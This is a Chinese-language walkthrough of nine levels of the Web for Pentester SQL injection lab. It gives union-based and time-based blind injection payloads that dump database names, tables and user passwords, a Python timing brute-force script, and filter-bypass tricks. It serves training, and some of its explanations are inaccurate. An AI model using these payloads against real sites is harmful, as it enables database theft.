Web for Pentester SQL sql注入靶场_ci

第一关(没有任何处理)

Web for Pentester SQL sql注入靶场_单引号_02

SQL注入是一种常见的Web应用程序漏洞,公鸡者可以通过在用户输入的数据中插入恶意的SQL代码来执行未经授权的操作。Web for Pentester是一个用于学习和测试Web应用程序安全的平台,它提供了一系列的漏洞实验和挑战任务,其中包括SQL注入。

在Web for Pentester中,你可以通过以下步骤进行SQL注入讲解:

  1. 首先,你需要下载并安装Web for Pentester平台。你可以在官方网站上找到相关的下载链接。
  2. 安装完成后,启动Web for Pentester平台,并选择一个包含SQL注入漏洞的实验或挑战任务。
  3. 进入选定的实验或挑战任务,你将看到一个Web应用程序界面,其中包含一个输入框或表单,用于接收用户输入的数据。
  4. 在输入框或表单中,尝试输入一些恶意的SQL代码,例如’ OR ‘1’='1。这是一种常见的SQL注入公鸡向量,它会绕过应用程序的身份验证机制,使公鸡者能够以管理员身份登录。
  5. 提交输入的数据,并观察应用程序的响应。如果应用程序存在SQL注入漏洞,你可能会看到一些异常的行为,例如显示其他用户的数据或执行未经授权的操作。

通过在Web for Pentester平台上进行SQL注入讲解,你可以深入了解SQL注入漏洞的原理和公鸡方式,并学习如何防止和修复这些漏洞。

1.查看正常页面

Web for Pentester SQL sql注入靶场_单引号_03

2.查看异常页面

Web for Pentester SQL sql注入靶场_SQL_04

3.查看是否是数值型,发现不是,name=123 or 1=1%23

Web for Pentester SQL sql注入靶场_ci_05

4.查看是否是单引号,name=123' or '1'='1'%23,发现确实是单引号

Web for Pentester SQL sql注入靶场_SQL_06

5.猜字段,发现是5,name=admin' order by 1,2,3,4,5 %23

Web for Pentester SQL sql注入靶场_ci_07

6.查看回显位,发现是1,2,3,name=123' union select 1,2,3,4,5 %23

Web for Pentester SQL sql注入靶场_SQL_08

7.查看数据库名字、版本信息、路径,name=123' union select database(),version(),@@datadir,4,5 %23

Web for Pentester SQL sql注入靶场_ci_09

8.查询所有数据库,name=123' union select (select group_concat(schema_name)from information_schema.schemata),2,3,4,5 %23

Web for Pentester SQL sql注入靶场_SQL_10

9.查询所有表,name=123' union select (select group_concat(table_name)from information_schema.tables where database()=table_schema),2,3,4,5 %23

Web for Pentester SQL sql注入靶场_SQL_11

10.查询所有列,name=123' union select (select group_concat(column_name)from information_schema.columns where database()=table_schema and table_name='users'),2,3,4,5 %23

Web for Pentester SQL sql注入靶场_SQL_12

11.暴数据,name=123' union select (select group_concat('~',id,'~',name,'~',age,'~',groupid,'~',passwd)from exercises.users),2,3,4,5 %23

Web for Pentester SQL sql注入靶场_ci_13

第二关(对空格处理)

Web for Pentester SQL sql注入靶场_单引号_14

在Web for Pentester中,可以使用不同的方法来绕过SQL过滤空格的限制。以下是一种常见的方法:

  1. 使用注释符号绕过空格过滤。在SQL注入语句中,可以使用"–“来注释掉空格,从而绕过空格过滤。例如,可以将空格替换为”–",如下所示:
SELECT * FROM users--WHERE username='admin' AND password='123456'

这样,空格就被注释掉了,从而绕过了空格过滤。

  1. 使用特殊字符绕过空格过滤。另一种方法是使用特殊字符来代替空格。例如,可以使用URL编码中的"%20"来代替空格。例如:
SELECT%20*%20FROM%20users%20WHERE%20username='admin'%20AND%20password='123456'

这样,"%20"会被解码为空格,从而绕过了空格过滤。

请注意,这些方法只是绕过空格过滤的一种方式,具体的绕过方法可能因不同的情况而异。在实际应用中,还需要根据具体的情况进行调整和尝试。

1.查看正常的页面

Web for Pentester SQL sql注入靶场_ci_15

2.查看异常的页面

Web for Pentester SQL sql注入靶场_SQL_16

3.查看name=admin",发现是异常的页面,推测双引号作为参数连接到一起的。

Web for Pentester SQL sql注入靶场_ci_17

4.查看name=admin',发现不是异常也不是正常的页面,推测单引号应该是闭合作用的。

Web for Pentester SQL sql注入靶场_单引号_18

5.经过多次的检验,发现过滤了空格,因此没有办法直接使用or来进行连接,可以使用/*%0a*/来充当空格,还可以使用%0b来充当空格我这里使用的是name=admin'||'1'='1'%23,即使用||来代替or

Web for Pentester SQL sql注入靶场_SQL_19

6.猜字段,name=123'/*%0a*/order/*%0a*/by/*%0a*/1,2,3,4,5%23,发现5为正常而6为错误。

Web for Pentester SQL sql注入靶场_单引号_20

7.查看回显位,name=123'/*%0a*/union/*%0a*/select/*%0a*/1,2,3,4,5%23

Web for Pentester SQL sql注入靶场_单引号_21

8.查看数据库名字、版本、路径。name=123'/*%0a*/union/*%0a*/select/*%0a*/database(),version(),@@datadir,4,5%23

Web for Pentester SQL sql注入靶场_单引号_22

9.查看所有的数据库名字,name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat(schema_name)from(information_schema.schemata)),2,3,4,5%23

Web for Pentester SQL sql注入靶场_单引号_23

10.查看所有的表,name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat(table_name)from(information_schema.tables)where(database()=table_schema)),2,3,4,5%23

Web for Pentester SQL sql注入靶场_单引号_24

11.查看所有的列,name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat(column_name)from(information_schema.columns)where(database()=table_schema/*%0a*/and/*%0a*/table_name='users')),2,3,4,5%23

Web for Pentester SQL sql注入靶场_ci_25

12.查看所有的数据,name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat('id=',id,',name=',name,',age=',age,',groupod=',groupid,',passwd=',passwd)from(exercises.users)),2,3,4,5%23

Web for Pentester SQL sql注入靶场_单引号_26

第三关 过滤连续空格

Web for Pentester SQL sql注入靶场_ci_27

1.查看正常的页面

Web for Pentester SQL sql注入靶场_SQL_28

2.查看异常的页面

Web for Pentester SQL sql注入靶场_单引号_29

3.根据直接在正常的页面参数后面加双引号,发现是异常页面,说明双引号是被作为参数连接到一起的;单引号则是第三种页面,说明是由单引号闭合的。

Web for Pentester SQL sql注入靶场_ci_30

双引号

Web for Pentester SQL sql注入靶场_单引号_31

单引号

Web for Pentester SQL sql注入靶场_SQL_32

也可以按照这种方法来进行验证,name=123'||'1'='1'%23

Web for Pentester SQL sql注入靶场_SQL_33

4.经过多次的尝试,发现/**/能够绕过,而/*%0a*/、%0b不能绕过,说明对制表符进行了处理。

Web for Pentester SQL sql注入靶场_ci_34

5.暴表

name=123'/**/union/**/select/**/(select/**/group_concat(schema_name)from/**/information_schema.schemata),2,3,4,5%23

Web for Pentester SQL sql注入靶场_SQL_35

6.暴表,

name=123'/**/union/**/select/**/(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/'exercises'=table_schema),2,3,4,5%23

Web for Pentester SQL sql注入靶场_SQL_36

7.暴列,

name=123'/**/union/**/select/**/(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/'exercises'=table_schema/**/and/**/table_name='users'),2,3,4,5%23

Web for Pentester SQL sql注入靶场_单引号_37

8.暴数据,

name=123'/**/union/**/select/**/(select/**/group_concat(id,name,age,groupid,passwd)from/**/exercises.users),2,3,4,5%23

Web for Pentester SQL sql注入靶场_ci_38

第四关 画蛇添足的过滤

Web for Pentester SQL sql注入靶场_单引号_39

1.正常的页面

Web for Pentester SQL sql注入靶场_ci_40

2.错误的页面

Web for Pentester SQL sql注入靶场_单引号_41

3.输入单引号,发现是第三种页面

Web for Pentester SQL sql注入靶场_SQL_42

输入双引号也发现是第三种页面,说明是数值型注入

Web for Pentester SQL sql注入靶场_单引号_43

也可以按照id=0 or 1=1来验证是否是数值型注入,发现确实是数值型注入

Web for Pentester SQL sql注入靶场_SQL_44

4.经过多次的检查,发现字段是5,因为6时是错误的。id=0 order by 1,2,3,4,5

Web for Pentester SQL sql注入靶场_单引号_45

5.查看回显位,id=0 union select 1,2,3,4,5

Web for Pentester SQL sql注入靶场_ci_46

6.暴数据库,

id=0 union select (select group_concat(schema_name)from information_schema.schemata),2,3,4,5

Web for Pentester SQL sql注入靶场_单引号_47

7.暴表,

由于对单引号进行了处理,所以无法直接使用单引号,要考虑如何对单引号进行绕过,对数据库名字进行base64、ascii编码都不行,因此只能一个个来而不能指定但是由于这里指定的是数据库名,可以使用database()函数来代替id=0 union select (select group_concat(table_name)from information_schema.tables where table_schema=database()),2,3,4,5

Web for Pentester SQL sql注入靶场_ci_48

8.暴列,

id=0 union select (select group_concat(column_name)from information_schema.columns where table_schema=database()),2,3,4,5

Web for Pentester SQL sql注入靶场_单引号_49

9.暴数据,

id=0 union select (select group_concat(id,name,age,groupid,passwd)from exercises.users),2,3,4,5

Web for Pentester SQL sql注入靶场_SQL_50

第五关 画蛇添足的正则

第五关和第四关的公鸡过程一模一样


第六关 画蛇添足的正则

第六关和第四关一模一样


第七关 正则缺陷

Web for Pentester SQL sql注入靶场_SQL_51

Web应用程序中的SQL正则缺陷是一种安全漏洞,公鸡者可以利用它来执行未经授权的数据库查询。这种漏洞通常出现在Web应用程序中,当应用程序接受用户输入并将其直接插入到SQL查询中时。公鸡者可以通过在输入中注入恶意的SQL代码来利用这个漏洞。

以下是一个示例,展示了一个可能存在SQL正则缺陷的情况:

import sqlite3

def search_user(username):
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()

    query = "SELECT * FROM users WHERE username REGEXP '^{}'".format(username)
    cursor.execute(query)

    results = cursor.fetchall()
    for row in results:
        print(row)

    conn.close()

search_user(input("Enter a username: "))

在上面的示例中,应用程序接受用户输入的用户名,并将其直接插入到SQL查询中的正则表达式中。如果应用程序没有正确地对用户输入进行验证和过滤,公鸡者可以通过输入恶意的正则表达式来执行任意的SQL查询。

为了防止SQL正则缺陷,开发人员应该始终使用参数化查询或预编译语句来处理用户输入。这样可以确保用户输入被视为数据而不是代码,并且可以防止SQL注入公鸡。

1.查看正常的页面

Web for Pentester SQL sql注入靶场_ci_52

2.查看异常的页面

Web for Pentester SQL sql注入靶场_ci_53

3.输入单引号和双引号发现都是第三种的页面,因此说明不少字符型注入而是数值型。

Web for Pentester SQL sql注入靶场_单引号_54

4.经过多次的尝试,发现只有在%0a的情况下才能够进行注入公鸡。

id=0%0aor%0a1=1

Web for Pentester SQL sql注入靶场_ci_55

5.猜字段,id=1%0aorder by 1,2,3,4,5

Web for Pentester SQL sql注入靶场_SQL_56

6.查看回显位,id=-1%0aunion select 1,2,3,4,5

Web for Pentester SQL sql注入靶场_ci_57

7.查看所有的数据库名,

id=-1%0aunion select (select group_concat(schema_name)from information_schema.schemata),2,3,4,5

Web for Pentester SQL sql注入靶场_ci_58

8.查看所有的表名,

id=-1%0aunion select (select group_concat(table_name)from information_schema.tables where table_schema=database()),2,3,4,5

Web for Pentester SQL sql注入靶场_ci_59

9.查看指定表的所有列名,

id=-1%0aunion select (select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),2,3,4,5

Web for Pentester SQL sql注入靶场_SQL_60

10.暴数据,

id=-1%0aunion select (select group_concat(id,name,age,groupid,passwd)from exercises.users),2,3,4,5

Web for Pentester SQL sql注入靶场_ci_61

第八关 order by 盲注

Web for Pentester SQL sql注入靶场_ci_62

1.查看正常的页面

Web for Pentester SQL sql注入靶场_单引号_63

2.查看异常的页面

Web for Pentester SQL sql注入靶场_单引号_64

3.分析

根据该关卡的正常和异常可以发现,只有两种情况,并不像前七关一样,有三种页面,因此判断出该关卡不能进行联合注入。又因为没有错误返回信息,因此报错注入无法执行,只能使用盲注进行公鸡。

4.经过多次的尝试,发现是反引号闭合的类型,order=id'%23

Web for Pentester SQL sql注入靶场_ci_65

5.经过多次的猜测,

发现数据库的名字长度是9,`order=id’ and if(length(database())=9,sleep(2),1) %23

Web for Pentester SQL sql注入靶场_ci_66

6.猜数据库名字,

order=id' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(2),0) %23,也可以指定特定的当前的数据库,order=id' and if(ascii(substr((select database() limit 0,1),2,1))=119,sleep(2),0)--+

7.猜表名,

order=id' and if(ascii(substr((select table_name from information_schema.tables where database()=table_schema limit 0,1),1,1))=105,sleep(2),0) %23

8.猜列名,

order=id' and if(ascii(substr((select column_name from information_schema.columns where database()=table_schema and tabe_name='users' limit 0,1),1,1))=105,sleep(2)

9.使用脚本

import requests  
import time  
url = 'http://172.16.12.131/sqli/example8.php?order=id`'#存在时间盲注漏洞的地址  
result=''  
print('test')  
database = 'select schema_name from information_schema.schemata'#多余的分号  
table = 'select table_name from information_schema.tables where table_schema = "database_name"'  
column = 'select column_name from information_schema.columns where table_name = "table_name"'  
for i in range(1,100):  
    for j in range(48,122):  
        payload=r' and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),0)--+'.format(database,i,j)  
        stime=time.time()  
        r=requests.get(url+payload)  
        print(r.url)  
        etime=time.time()  
        print(r.url)  
        if etime-stime>=2:  
            result+=chr(j)  
            print(result)  
            break

第九关 order by 盲注

Web for Pentester SQL sql注入靶场_单引号_67

发现和第八关一样,只是没有了反引号闭合而已。

常见的绕过方法

双写绕过

大小写绕过

编码绕过,如:hex || URL

注释符绕过,如:/!select/

替换:如 and 可替换为 && ,or 可替换为 ||

空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代

用/*%0a*/强行制造空格,%09是table键也可以当成是空格,%20是空格,%0a是回车键。